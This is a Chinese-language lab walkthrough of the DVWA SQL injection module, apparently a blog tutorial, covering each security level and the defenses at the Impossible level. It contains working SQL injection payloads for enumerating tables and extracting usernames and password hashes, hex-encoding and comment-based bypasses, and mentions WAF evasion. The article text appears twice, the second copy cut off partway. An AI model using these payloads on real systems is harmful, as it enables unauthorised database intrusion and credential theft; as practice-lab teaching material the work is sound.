1. 项目概述从靶场到实战理解SQL注入的攻防脉络如果你刚接触网络安全或者想找一个地方系统地、安全地练习SQL注入那么DVWADamn Vulnerable Web Application的SQL注入模块绝对是你绕不开的经典。这不仅仅是一个“靶场”它更像一个精心设计的教学实验室将Web安全中最古老、最危险、也最普遍的漏洞——SQL注入拆解成从易到难四个级别Low, Medium, High, Impossible让你能亲手触摸到漏洞从存在到被修复的全过程。我最初接触DVWA时也是从SQL注入开始的。很多人觉得SQL注入就是输入个 or 11然后就能“为所欲为”但实际操作过你就会发现远没这么简单。不同的代码防御策略、不同的输入点、不同的数据库特性都会让注入手法千变万化。DVWA的SQL注入模块恰恰模拟了开发者在不同安全意识水平下可能编写的代码让你能清晰地看到一个简单的参数未过滤Low级别是如何一步步被加固直到几乎无法被利用Impossible级别的。这篇文章我将带你手把手通关DVWA的SQL注入所有级别。我不会只给你最终的Payload注入语句那样你只是记住了答案而不是学会了方法。我会详细拆解每一关的代码逻辑、防御手段并告诉你我是如何思考、如何构造Payload、如何绕过防御的。整个过程你会用到浏览器、Burp Suite或任何你顺手的抓包工具以及你的大脑。我们的目标不仅是“通关”更是理解每一次点击、每一次输入背后的原理从而在未来的渗透测试或代码审计中能一眼识别出漏洞的根源。2. 环境准备与靶场搭建一切从“能跑起来”开始在开始我们的“黑客”之旅前得先把靶场搭建好。DVWA本质上是一个用PHP写的、故意包含各种漏洞的Web应用。它需要运行在一个支持PHP和MySQL或SQLite的Web服务器环境中。2.1 选择你的“作战平台”对于新手我最推荐的是使用集成环境。这能帮你省去大量配置Apache、PHP、MySQL的繁琐步骤让你专注于漏洞本身。XAMPP / WAMP (Windows)这是最经典的选择。下载安装包一路下一步它会自动安装好Apache、MySQL、PHP和phpMyAdmin。安装完成后启动Apache和MySQL服务你的本地Web服务器就运行起来了。MAMP (macOS)macOS用户的首选功能和XAMPP类似界面更友好。Docker如果你对容器技术有了解用Docker部署DVWA是最干净、最隔离的方式。一条命令就能拉取镜像并运行完全不影响宿主机环境。预置虚拟机像OWASP Broken Web Apps (BWA)或Metasploitable这类虚拟机已经内置了DVWA和其他几十个漏洞应用。直接用VMware或VirtualBox导入就能用非常适合学习和实验。我个人在早期学习时用的是XAMPP后来为了环境隔离和快速重建转向了Docker。对于纯粹的学习者我建议从XAMPP开始简单直接。2.2 DVWA的部署与初始配置假设你已经安装好了XAMPP并启动了服务。下载DVWA从DVWA的官方GitHub仓库搜索“DVWA GitHub”下载最新的ZIP压缩包。部署将解压后的dvwa文件夹整个复制到XAMPP的htdocs目录下例如C:\xampp\htdocs\。这样你就可以通过浏览器访问http://localhost/dvwa了。配置文件找到dvwa/config目录将config.inc.php.dist文件复制一份并重命名为config.inc.php。用文本编辑器打开这个新文件。关键配置修改$_DVWA[ db_server ] 127.0.0.1;– 数据库地址本地保持127.0.0.1即可。$_DVWA[ db_user ] root;– 数据库用户名XAMPP默认是root。$_DVWA[ db_password ] pssw0rd;– 数据库密码XAMPP默认密码为空所以这里应该改为两个单引号中间为空。这是新手最容易卡住的地方$_DVWA[ db_database ] dvwa;– 数据库名保持dvwa。初始化数据库在浏览器中访问http://localhost/dvwa/setup.php。点击页面底部绿色的“Create / Reset Database”按钮。这会自动创建dvwa数据库和所需的数据表。如果一切顺利页面会显示“Setup Successful”。登录默认的登录账号是admin密码是password。登录后在左侧菜单栏找到“DVWA Security”将安全级别设置为“Low”。我们所有的练习都从最低难度开始。注意如果遇到“数据库连接失败”的错误99%的原因是config.inc.php中的数据库密码没设对。XAMPP的MySQL默认root密码就是空务必确认。另外确保你的MySQL服务确实已经启动。2.3 必备工具你的“瑞士军刀”浏览器Chrome或Firefox。它们的开发者工具F12是分析请求、查看响应、调试前端代码的利器。抓包/改包工具Burp Suite Community Edition是行业标准。它不仅能拦截和修改HTTP/HTTPS请求这对Medium级别至关重要还能进行漏洞扫描、重放攻击等。学习使用它的Proxy代理和Repeater重放模块是Web安全入门的必修课。如果觉得Burp Suite上手有难度OWASP ZAP也是一个免费且强大的替代品。编码/解码工具SQL注入中经常需要将字符串转为十六进制Hex或进行URL编码。浏览器插件如HackBar或在线工具网站都能方便地完成这些操作。Burp Suite的Decoder模块也极其强大。环境就绪工具在手让我们正式进入DVWA的SQL注入世界。3. Low级别毫无防备的“门户大开”将DVWA安全级别设置为Low然后进入“SQL Injection”页面。你会看到一个简单的输入框提示你输入User ID。这就是我们的攻击入口点。3.1 代码审计漏洞根源一目了然在动手之前先看看靶场是怎么“犯错”的。点击页面上的“View Source”查看Low级别的后端PHP代码。核心部分如下if( isset( $_REQUEST[ Submit ] ) ) { $id $_REQUEST[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); ... }这段代码清晰得令人发指$_REQUEST[ id ]直接获取用户输入没有任何过滤、转义或验证。直接将用户输入的$id变量用单引号包裹拼接进了SQL查询字符串中。执行拼接后的SQL语句。漏洞原理假设用户输入1那么生成的SQL语句是SELECT ... WHERE user_id 1;这没问题。但如果用户输入1 or 11拼接后的语句就变成了SELECT first_name, last_name FROM users WHERE user_id 1 or 11;WHERE子句的条件变成了user_id 1或者11。由于11这个条件永远为真恒真整个WHERE条件就永远为真。这意味着这条查询会返回users表中所有用户的first_name和last_name而不仅仅是ID为1的用户。3.2 手工注入实战步步为营的信息窃取手工注入的过程就像侦探破案一步步试探、推理最终拿到想要的数据。我们按照标准的SQL注入流程来操作。第一步探测注入点与注入类型在输入框输入1回显正常ID:1, First name: admin, Surname: admin。输入1数字1加一个单引号。页面返回了数据库报错信息。这是一个关键信号报错意味着我们输入的单引号破坏了原SQL语句的语法证明这里存在SQL注入漏洞并且是字符型注入因为参数被单引号包裹。第二步判断字段数ORDER BY我们需要知道当前查询的SELECT语句选取了多少个字段以便后续使用UNION查询合并我们自己的数据。使用ORDER BY子句它根据指定列排序如果指定的列索引超出实际字段数就会报错。输入1 order by 1 ##在MySQL中是注释符它会注释掉原SQL语句中后面的单引号和分号保证我们语句的完整性。有时也需要用--注意后面有个空格。输入1 order by 2 #页面正常回显。输入1 order by 3 #页面报错。 结论当前查询的字段数是2个就是SELECT first_name, last_name这两个。第三步确定回显位置UNION SELECTUNION操作符用于合并两个SELECT语句的结果集。前提是两个SELECT语句必须拥有相同数量的列且列的数据类型相似。我们上一步知道了字段数是2现在用UNION SELECT来探测哪个字段的内容会被显示在页面上。输入1 union select 1,2 #这里我们SELECT了数字1和2。如果页面原本显示first_name和last_name的地方变成了数字1和2就说明这两个位置都是可以回显我们查询结果的地方。实际回显页面显示了ID: 1但下面两行变成了First name: 1和Surname: 2。完美两个位置都可用。第四步获取数据库信息现在我们可以把union select后面的1和2替换成我们想查询的数据库函数。获取当前数据库名输入1 union select 1,database() #database()函数返回当前连接的数据库名称。回显的Surname位置会显示dvwa。获取数据库版本和用户输入1 union select version(),user() #version()返回MySQL版本user()返回当前数据库用户。这有助于我们了解目标环境。第五步枚举数据库表名在MySQL中information_schema数据库存储了所有其他数据库的元数据如表、列信息。information_schema.tables表存储了所有表的信息。输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #table_schemadatabase()限定只查询当前数据库dvwa下的表。group_concat(table_name)将查询到的所有表名合并成一个字符串返回避免UNION查询只返回一行。回显结果通常会包含guestbook和users两个表。显然users表是我们的主要目标。第六步枚举表字段名知道了表名users接下来要获取这个表有哪些列字段。查询information_schema.columns表。输入1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers #注意这里的users是字符串需要用单引号括起来。回显会得到类似user_id,first_name,last_name,user,password,avatar,last_login,failed_login的结果。我们最关心的当然是user和password字段。第七步提取最终数据——用户名与密码现在表名、字段名都知道了可以直接查询数据了。输入1 or 11 union select group_concat(user), group_concat(password) from users #1 or 11使得前半部分查询返回users表的所有行因为11恒真。union合并我们自己的查询将user列和password列的所有内容分别合并后查询出来。回显中你会在First name和Surname位置看到所有的用户名和经过MD5哈希的密码字符串。实操心得在Low级别整个过程非常顺畅几乎没有任何阻碍。这模拟了最糟糕的代码实践对用户输入完全信任。你在这里练习的order by、union select、information_schema查询是手工注入最核心的“三板斧”务必熟练掌握。另外注意使用#或--来注释掉原SQL语句的剩余部分这是保证我们注入语句语法正确的关键。4. Medium级别初现端倪的防御与绕过将安全级别切换到Medium再次进入SQL注入页面。你会发现输入框变成了一个下拉选择菜单只能选择1到5的数字。前端限制了我们的输入但这从来不是真正的障碍。4.1 代码审计转义与数字型注入查看Medium级别的源码$id $_POST[ id ]; $id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id); $query SELECT first_name, last_name FROM users WHERE user_id $id;;关键变化有三点接收参数的方式从$_REQUEST变成了$_POST。对$id使用了mysqli_real_escape_string()函数。这个函数会转义字符串中的特殊字符如单引号()、双引号()、反斜杠(\)等。例如输入1会被转义成1\这样单引号就失去了破坏SQL语法的作用。SQL查询语句变成了WHERE user_id $id参数$id没有被单引号包裹。漏洞分析由于mysqli_real_escape_string()是针对字符串的转义而现在的SQL语句是数字型查询没有单引号那么如果我们输入的不是字符串而是数字或数字构成的Payload这个转义函数就完全失效了。例如输入1 or 11转义后还是1 or 11拼接进SQL语句是WHERE user_id 1 or 11这依然是一个有效的、恒真的条件。所以Medium级别的漏洞从字符型注入转变为了数字型注入。4.2 实战绕过抓包改参与十六进制编码因为前端是下拉菜单我们无法直接输入Payload。这时抓包工具就派上用场了。第一步拦截并修改POST请求在浏览器中选择User ID为1点击Submit。打开Burp Suite确保代理拦截Intercept is on是开启状态。在DVWA页面点击Submit请求会被Burp Suite截获。在Burp Suite的Raw界面你会看到类似这样的请求POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 ... id1SubmitSubmit将id1修改为我们的Payload例如id1 or 11然后点击“Forward”发送。第二步数字型注入探测由于是数字型注入我们不需要闭合单引号Payload会简单很多。判断字段数id1 order by 2和id1 order by 3。通过响应判断字段数仍为2。确定回显点id1 union select 1,2。确认回显位置。获取数据库名id1 union select 1,database()。第三步绕过表名引号限制当我们尝试获取users表的字段时会遇到一个问题。常规Payload是id1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers但是users这个字符串中的单引号会被mysqli_real_escape_string()转义导致语法错误。如何绕过方法使用十六进制Hex编码我们可以将字符串users转换成其十六进制表示这样就不需要单引号了。在MySQL中0x开头的数字会被解释为十六进制值。将users转换为十六进制。users的十六进制是7573657273。构造Payloadid1 union select 1,group_concat(column_name) from information_schema.columns where table_name0x7573657273这里table_name0x7573657273等价于table_nameusers但完全避免了单引号。你可以用Python快速转换也可以在Burp Suite的Decoder模块里直接转换。import binascii print(binascii.hexlify(busers).decode()) # 输出7573657273第四步获取数据最后获取数据的Payload和Low级别类似只是去掉了单引号和注释符因为数字型注入不需要id1 or 11 union select group_concat(user), group_concat(password) from users注意事项在Medium级别最大的思维转变是从“字符型”到“数字型”的识别。前端限制形同虚设核心在于分析后端代码如何处理输入。mysqli_real_escape_string()的局限性在此暴露无遗——它只能防御字符型注入。同时掌握十六进制编码绕过引号限制是实战中非常实用的技巧尤其当引号被过滤或转义时。5. High级别会话隔离与LIMIT的陷阱High级别的界面有所不同它跳转到了一个新的页面 (/dvwa/vulnerabilities/sqli/session-input.php)让你在一个单独的输入框提交ID然后结果会显示在另一个页面。这模拟了某些将用户输入存入会话Session后再查询的场景。5.1 代码审计LIMIT 1的障眼法查看High级别源码if( isset( $_SESSION [ id ] ) ) { $id $_SESSION[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; ... }关键点参数$id来自$_SESSION[ id ]而不是直接来自$_GET或$_POST。这意味着输入可能经过了一次页面跳转。SQL语句中参数$id依然被单引号包裹说明是字符型注入。查询语句末尾加上了LIMIT 1。这意味着无论查询条件如何数据库最多只返回一行结果。漏洞分析LIMIT 1看起来是个有效的防御因为它阻止了我们通过union select一次性爆出大量数据比如所有用户名密码。但是它并不能阻止注入本身。我们依然可以注入 or 11来让WHERE条件恒真此时查询会返回users表中的第一行数据通常是admin。更重要的是我们可以用注释符#将LIMIT 1注释掉5.2 实战注入注释符的妙用High级别的注入过程本质上又变回了Low级别的字符型注入只是多了一个需要注释掉的LIMIT 1。在session-input.php页面的输入框输入Payload1 or 11 #注意这里需要闭合原本的单引号。原语句是... user_id $id LIMIT 1;我们输入1 or 11 #拼接后成为... user_id 1 or 11 # LIMIT 1;#后面的所有内容包括第二个单引号和LIMIT 1都被注释掉了。最终的生效语句是... user_id 1 or 11成功实现注入。点击提交后页面会显示第一条用户信息admin。后续的注入步骤判断字段、联合查询等与Low级别完全一致只需在Payload末尾加上#注释掉LIMIT 1即可。例如判断字段数1 order by 2 #联合查询1 union select 1,2 #获取表名1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #实操心得High级别教会我们两件事。第一不要被LIMIT子句吓到注释符是它的天敌。第二理解数据流很重要。参数从$_SESSION而来意味着攻击可能需要多步完成先在一个页面提交触发Session存储再在另一个页面触发查询但在DVWA中这个流程被简化了。在实际漏洞利用时你需要追踪整个数据流找到最终的注入点。6. Impossible级别教科书式的安全防御Impossible级别展示了如何从根本上防御SQL注入。查看其源码你会发现它采用了“最佳实践”组合拳6.1 多重防御机制解析Anti-CSRF Token代码开头检查checkToken()。这虽然主要防御跨站请求伪造CSRF但也增加了攻击的复杂性要求攻击者必须先获取有效的Token。输入类型检查if(is_numeric( $id ))。严格检查输入是否为数字。如果不是数字直接拒绝处理。这从根本上杜绝了非数字型Payload。类型转换$id intval ($id);。即使通过了is_numeric检查还使用intval()函数将输入强制转换为整数。任何非数字字符都会被丢弃或转换。例如输入1 or 11会被转换成整数1。预编译语句Prepared Statements这是最核心、最有效的防御手段。$data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute();prepare()方法先发送SQL语句模板到数据库进行编译。语句中的:id是一个占位符。bindParam()方法将变量$id绑定到占位符:id上并指定其为整数类型PDO::PARAM_INT。execute()执行时数据库会将绑定的值$id作为纯粹的数据插入到已编译好的SQL结构中。关键区别在预编译语句中SQL语句的结构语法和用户提供的数据是完全分离的。即使用户输入1 or 11它也会被当作一个完整的、无意义的字符串或整数绑定到user_id字段去查询而不会被解释为SQL代码的一部分。这就好比把数据和代码放在了不同的轨道上永远不会相交从而彻底免疫了SQL注入。结果数量检查if( $data-rowCount() 1 )。即使发生了不可思议的情况也确保只处理恰好返回一条记录的结果防止数据被大量拖取。6.2 为什么Impossible级别是安全的在Impossible级别你尝试任何Low、Medium、High级别的Payload都会失败。输入1 or 11会被intval()转换成1最终执行的SQL等价于SELECT ... WHERE user_id 1。输入1 union select 1,2会被is_numeric()检测为非法因为包含空格和非数字字符或者被intval()转换成1。预编译语句确保了即使有漏网之鱼数据也不会被当作代码执行。给开发者的启示防御SQL注入不应依赖于简单的字符过滤或转义如mysqli_real_escape_string因为总有绕过的可能如数字型注入、编码绕过。应该采用白名单输入验证如这里检查是否为数字并结合预编译语句参数化查询。这是OWASP等权威安全组织推荐的首要方案。7. 思维扩展从DVWA到真实世界通关了DVWA的四个级别你已经掌握了SQL注入的基本攻击手法和防御原理。但真实世界的场景要复杂得多。盲注Blind SQLi很多时候即使存在注入页面也不会直接回显数据库数据或错误信息。你需要通过页面行为的差异如真/假条件导致响应时间不同或内容微调来一点点“盲猜”数据。DVWA也有专门的“SQL Injection (Blind)”模块供你练习。工具化手工注入虽然有助于理解原理但效率低。SQLmap是一款开源的自动化SQL注入工具它可以自动检测注入点、枚举数据库、提取数据。你可以尝试用SQLmap对DVWA的Low级别进行自动化测试感受一下工具的威力。但切记仅用于授权的测试环境二次注入有时输入在存入数据库时被转义了但后来从数据库取出再次用于SQL查询时却没有被转义。这种“存储型”的注入更难发现和防御。绕过WAFWeb应用防火墙企业级应用往往部署了WAF会过滤常见的SQL关键词如union,select,or和特殊字符。这就需要使用各种混淆、编码、等价替换技巧来绕过例如用UnIoN大小写混合、用||代替or、用十六进制编码字符串等。DVWA的SQL注入模块是一个完美的起点。它剥离了复杂的环境直指漏洞核心。建议你反复练习直到对每一步的原理和Payload构造都了然于胸。然后可以去尝试更复杂的靶场如Pikachu、WebGoat、Sqli-Labs等它们提供了更多变种和更接近真实的场景。最后永远记住学习攻击技术的唯一目的是为了更好地防御。理解了黑客的思维和手段你才能写出更安全的代码设计出更稳固的系统。在合法授权的范围内进行测试是每一位安全从业者必须恪守的底线。
DVWA SQL注入实战:从Low到Impossible的攻防全解析
1. 项目概述从靶场到实战理解SQL注入的攻防脉络如果你刚接触网络安全或者想找一个地方系统地、安全地练习SQL注入那么DVWADamn Vulnerable Web Application的SQL注入模块绝对是你绕不开的经典。这不仅仅是一个“靶场”它更像一个精心设计的教学实验室将Web安全中最古老、最危险、也最普遍的漏洞——SQL注入拆解成从易到难四个级别Low, Medium, High, Impossible让你能亲手触摸到漏洞从存在到被修复的全过程。我最初接触DVWA时也是从SQL注入开始的。很多人觉得SQL注入就是输入个 or 11然后就能“为所欲为”但实际操作过你就会发现远没这么简单。不同的代码防御策略、不同的输入点、不同的数据库特性都会让注入手法千变万化。DVWA的SQL注入模块恰恰模拟了开发者在不同安全意识水平下可能编写的代码让你能清晰地看到一个简单的参数未过滤Low级别是如何一步步被加固直到几乎无法被利用Impossible级别的。这篇文章我将带你手把手通关DVWA的SQL注入所有级别。我不会只给你最终的Payload注入语句那样你只是记住了答案而不是学会了方法。我会详细拆解每一关的代码逻辑、防御手段并告诉你我是如何思考、如何构造Payload、如何绕过防御的。整个过程你会用到浏览器、Burp Suite或任何你顺手的抓包工具以及你的大脑。我们的目标不仅是“通关”更是理解每一次点击、每一次输入背后的原理从而在未来的渗透测试或代码审计中能一眼识别出漏洞的根源。2. 环境准备与靶场搭建一切从“能跑起来”开始在开始我们的“黑客”之旅前得先把靶场搭建好。DVWA本质上是一个用PHP写的、故意包含各种漏洞的Web应用。它需要运行在一个支持PHP和MySQL或SQLite的Web服务器环境中。2.1 选择你的“作战平台”对于新手我最推荐的是使用集成环境。这能帮你省去大量配置Apache、PHP、MySQL的繁琐步骤让你专注于漏洞本身。XAMPP / WAMP (Windows)这是最经典的选择。下载安装包一路下一步它会自动安装好Apache、MySQL、PHP和phpMyAdmin。安装完成后启动Apache和MySQL服务你的本地Web服务器就运行起来了。MAMP (macOS)macOS用户的首选功能和XAMPP类似界面更友好。Docker如果你对容器技术有了解用Docker部署DVWA是最干净、最隔离的方式。一条命令就能拉取镜像并运行完全不影响宿主机环境。预置虚拟机像OWASP Broken Web Apps (BWA)或Metasploitable这类虚拟机已经内置了DVWA和其他几十个漏洞应用。直接用VMware或VirtualBox导入就能用非常适合学习和实验。我个人在早期学习时用的是XAMPP后来为了环境隔离和快速重建转向了Docker。对于纯粹的学习者我建议从XAMPP开始简单直接。2.2 DVWA的部署与初始配置假设你已经安装好了XAMPP并启动了服务。下载DVWA从DVWA的官方GitHub仓库搜索“DVWA GitHub”下载最新的ZIP压缩包。部署将解压后的dvwa文件夹整个复制到XAMPP的htdocs目录下例如C:\xampp\htdocs\。这样你就可以通过浏览器访问http://localhost/dvwa了。配置文件找到dvwa/config目录将config.inc.php.dist文件复制一份并重命名为config.inc.php。用文本编辑器打开这个新文件。关键配置修改$_DVWA[ db_server ] 127.0.0.1;– 数据库地址本地保持127.0.0.1即可。$_DVWA[ db_user ] root;– 数据库用户名XAMPP默认是root。$_DVWA[ db_password ] pssw0rd;– 数据库密码XAMPP默认密码为空所以这里应该改为两个单引号中间为空。这是新手最容易卡住的地方$_DVWA[ db_database ] dvwa;– 数据库名保持dvwa。初始化数据库在浏览器中访问http://localhost/dvwa/setup.php。点击页面底部绿色的“Create / Reset Database”按钮。这会自动创建dvwa数据库和所需的数据表。如果一切顺利页面会显示“Setup Successful”。登录默认的登录账号是admin密码是password。登录后在左侧菜单栏找到“DVWA Security”将安全级别设置为“Low”。我们所有的练习都从最低难度开始。注意如果遇到“数据库连接失败”的错误99%的原因是config.inc.php中的数据库密码没设对。XAMPP的MySQL默认root密码就是空务必确认。另外确保你的MySQL服务确实已经启动。2.3 必备工具你的“瑞士军刀”浏览器Chrome或Firefox。它们的开发者工具F12是分析请求、查看响应、调试前端代码的利器。抓包/改包工具Burp Suite Community Edition是行业标准。它不仅能拦截和修改HTTP/HTTPS请求这对Medium级别至关重要还能进行漏洞扫描、重放攻击等。学习使用它的Proxy代理和Repeater重放模块是Web安全入门的必修课。如果觉得Burp Suite上手有难度OWASP ZAP也是一个免费且强大的替代品。编码/解码工具SQL注入中经常需要将字符串转为十六进制Hex或进行URL编码。浏览器插件如HackBar或在线工具网站都能方便地完成这些操作。Burp Suite的Decoder模块也极其强大。环境就绪工具在手让我们正式进入DVWA的SQL注入世界。3. Low级别毫无防备的“门户大开”将DVWA安全级别设置为Low然后进入“SQL Injection”页面。你会看到一个简单的输入框提示你输入User ID。这就是我们的攻击入口点。3.1 代码审计漏洞根源一目了然在动手之前先看看靶场是怎么“犯错”的。点击页面上的“View Source”查看Low级别的后端PHP代码。核心部分如下if( isset( $_REQUEST[ Submit ] ) ) { $id $_REQUEST[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); ... }这段代码清晰得令人发指$_REQUEST[ id ]直接获取用户输入没有任何过滤、转义或验证。直接将用户输入的$id变量用单引号包裹拼接进了SQL查询字符串中。执行拼接后的SQL语句。漏洞原理假设用户输入1那么生成的SQL语句是SELECT ... WHERE user_id 1;这没问题。但如果用户输入1 or 11拼接后的语句就变成了SELECT first_name, last_name FROM users WHERE user_id 1 or 11;WHERE子句的条件变成了user_id 1或者11。由于11这个条件永远为真恒真整个WHERE条件就永远为真。这意味着这条查询会返回users表中所有用户的first_name和last_name而不仅仅是ID为1的用户。3.2 手工注入实战步步为营的信息窃取手工注入的过程就像侦探破案一步步试探、推理最终拿到想要的数据。我们按照标准的SQL注入流程来操作。第一步探测注入点与注入类型在输入框输入1回显正常ID:1, First name: admin, Surname: admin。输入1数字1加一个单引号。页面返回了数据库报错信息。这是一个关键信号报错意味着我们输入的单引号破坏了原SQL语句的语法证明这里存在SQL注入漏洞并且是字符型注入因为参数被单引号包裹。第二步判断字段数ORDER BY我们需要知道当前查询的SELECT语句选取了多少个字段以便后续使用UNION查询合并我们自己的数据。使用ORDER BY子句它根据指定列排序如果指定的列索引超出实际字段数就会报错。输入1 order by 1 ##在MySQL中是注释符它会注释掉原SQL语句中后面的单引号和分号保证我们语句的完整性。有时也需要用--注意后面有个空格。输入1 order by 2 #页面正常回显。输入1 order by 3 #页面报错。 结论当前查询的字段数是2个就是SELECT first_name, last_name这两个。第三步确定回显位置UNION SELECTUNION操作符用于合并两个SELECT语句的结果集。前提是两个SELECT语句必须拥有相同数量的列且列的数据类型相似。我们上一步知道了字段数是2现在用UNION SELECT来探测哪个字段的内容会被显示在页面上。输入1 union select 1,2 #这里我们SELECT了数字1和2。如果页面原本显示first_name和last_name的地方变成了数字1和2就说明这两个位置都是可以回显我们查询结果的地方。实际回显页面显示了ID: 1但下面两行变成了First name: 1和Surname: 2。完美两个位置都可用。第四步获取数据库信息现在我们可以把union select后面的1和2替换成我们想查询的数据库函数。获取当前数据库名输入1 union select 1,database() #database()函数返回当前连接的数据库名称。回显的Surname位置会显示dvwa。获取数据库版本和用户输入1 union select version(),user() #version()返回MySQL版本user()返回当前数据库用户。这有助于我们了解目标环境。第五步枚举数据库表名在MySQL中information_schema数据库存储了所有其他数据库的元数据如表、列信息。information_schema.tables表存储了所有表的信息。输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #table_schemadatabase()限定只查询当前数据库dvwa下的表。group_concat(table_name)将查询到的所有表名合并成一个字符串返回避免UNION查询只返回一行。回显结果通常会包含guestbook和users两个表。显然users表是我们的主要目标。第六步枚举表字段名知道了表名users接下来要获取这个表有哪些列字段。查询information_schema.columns表。输入1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers #注意这里的users是字符串需要用单引号括起来。回显会得到类似user_id,first_name,last_name,user,password,avatar,last_login,failed_login的结果。我们最关心的当然是user和password字段。第七步提取最终数据——用户名与密码现在表名、字段名都知道了可以直接查询数据了。输入1 or 11 union select group_concat(user), group_concat(password) from users #1 or 11使得前半部分查询返回users表的所有行因为11恒真。union合并我们自己的查询将user列和password列的所有内容分别合并后查询出来。回显中你会在First name和Surname位置看到所有的用户名和经过MD5哈希的密码字符串。实操心得在Low级别整个过程非常顺畅几乎没有任何阻碍。这模拟了最糟糕的代码实践对用户输入完全信任。你在这里练习的order by、union select、information_schema查询是手工注入最核心的“三板斧”务必熟练掌握。另外注意使用#或--来注释掉原SQL语句的剩余部分这是保证我们注入语句语法正确的关键。4. Medium级别初现端倪的防御与绕过将安全级别切换到Medium再次进入SQL注入页面。你会发现输入框变成了一个下拉选择菜单只能选择1到5的数字。前端限制了我们的输入但这从来不是真正的障碍。4.1 代码审计转义与数字型注入查看Medium级别的源码$id $_POST[ id ]; $id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id); $query SELECT first_name, last_name FROM users WHERE user_id $id;;关键变化有三点接收参数的方式从$_REQUEST变成了$_POST。对$id使用了mysqli_real_escape_string()函数。这个函数会转义字符串中的特殊字符如单引号()、双引号()、反斜杠(\)等。例如输入1会被转义成1\这样单引号就失去了破坏SQL语法的作用。SQL查询语句变成了WHERE user_id $id参数$id没有被单引号包裹。漏洞分析由于mysqli_real_escape_string()是针对字符串的转义而现在的SQL语句是数字型查询没有单引号那么如果我们输入的不是字符串而是数字或数字构成的Payload这个转义函数就完全失效了。例如输入1 or 11转义后还是1 or 11拼接进SQL语句是WHERE user_id 1 or 11这依然是一个有效的、恒真的条件。所以Medium级别的漏洞从字符型注入转变为了数字型注入。4.2 实战绕过抓包改参与十六进制编码因为前端是下拉菜单我们无法直接输入Payload。这时抓包工具就派上用场了。第一步拦截并修改POST请求在浏览器中选择User ID为1点击Submit。打开Burp Suite确保代理拦截Intercept is on是开启状态。在DVWA页面点击Submit请求会被Burp Suite截获。在Burp Suite的Raw界面你会看到类似这样的请求POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 ... id1SubmitSubmit将id1修改为我们的Payload例如id1 or 11然后点击“Forward”发送。第二步数字型注入探测由于是数字型注入我们不需要闭合单引号Payload会简单很多。判断字段数id1 order by 2和id1 order by 3。通过响应判断字段数仍为2。确定回显点id1 union select 1,2。确认回显位置。获取数据库名id1 union select 1,database()。第三步绕过表名引号限制当我们尝试获取users表的字段时会遇到一个问题。常规Payload是id1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers但是users这个字符串中的单引号会被mysqli_real_escape_string()转义导致语法错误。如何绕过方法使用十六进制Hex编码我们可以将字符串users转换成其十六进制表示这样就不需要单引号了。在MySQL中0x开头的数字会被解释为十六进制值。将users转换为十六进制。users的十六进制是7573657273。构造Payloadid1 union select 1,group_concat(column_name) from information_schema.columns where table_name0x7573657273这里table_name0x7573657273等价于table_nameusers但完全避免了单引号。你可以用Python快速转换也可以在Burp Suite的Decoder模块里直接转换。import binascii print(binascii.hexlify(busers).decode()) # 输出7573657273第四步获取数据最后获取数据的Payload和Low级别类似只是去掉了单引号和注释符因为数字型注入不需要id1 or 11 union select group_concat(user), group_concat(password) from users注意事项在Medium级别最大的思维转变是从“字符型”到“数字型”的识别。前端限制形同虚设核心在于分析后端代码如何处理输入。mysqli_real_escape_string()的局限性在此暴露无遗——它只能防御字符型注入。同时掌握十六进制编码绕过引号限制是实战中非常实用的技巧尤其当引号被过滤或转义时。5. High级别会话隔离与LIMIT的陷阱High级别的界面有所不同它跳转到了一个新的页面 (/dvwa/vulnerabilities/sqli/session-input.php)让你在一个单独的输入框提交ID然后结果会显示在另一个页面。这模拟了某些将用户输入存入会话Session后再查询的场景。5.1 代码审计LIMIT 1的障眼法查看High级别源码if( isset( $_SESSION [ id ] ) ) { $id $_SESSION[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; ... }关键点参数$id来自$_SESSION[ id ]而不是直接来自$_GET或$_POST。这意味着输入可能经过了一次页面跳转。SQL语句中参数$id依然被单引号包裹说明是字符型注入。查询语句末尾加上了LIMIT 1。这意味着无论查询条件如何数据库最多只返回一行结果。漏洞分析LIMIT 1看起来是个有效的防御因为它阻止了我们通过union select一次性爆出大量数据比如所有用户名密码。但是它并不能阻止注入本身。我们依然可以注入 or 11来让WHERE条件恒真此时查询会返回users表中的第一行数据通常是admin。更重要的是我们可以用注释符#将LIMIT 1注释掉5.2 实战注入注释符的妙用High级别的注入过程本质上又变回了Low级别的字符型注入只是多了一个需要注释掉的LIMIT 1。在session-input.php页面的输入框输入Payload1 or 11 #注意这里需要闭合原本的单引号。原语句是... user_id $id LIMIT 1;我们输入1 or 11 #拼接后成为... user_id 1 or 11 # LIMIT 1;#后面的所有内容包括第二个单引号和LIMIT 1都被注释掉了。最终的生效语句是... user_id 1 or 11成功实现注入。点击提交后页面会显示第一条用户信息admin。后续的注入步骤判断字段、联合查询等与Low级别完全一致只需在Payload末尾加上#注释掉LIMIT 1即可。例如判断字段数1 order by 2 #联合查询1 union select 1,2 #获取表名1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() 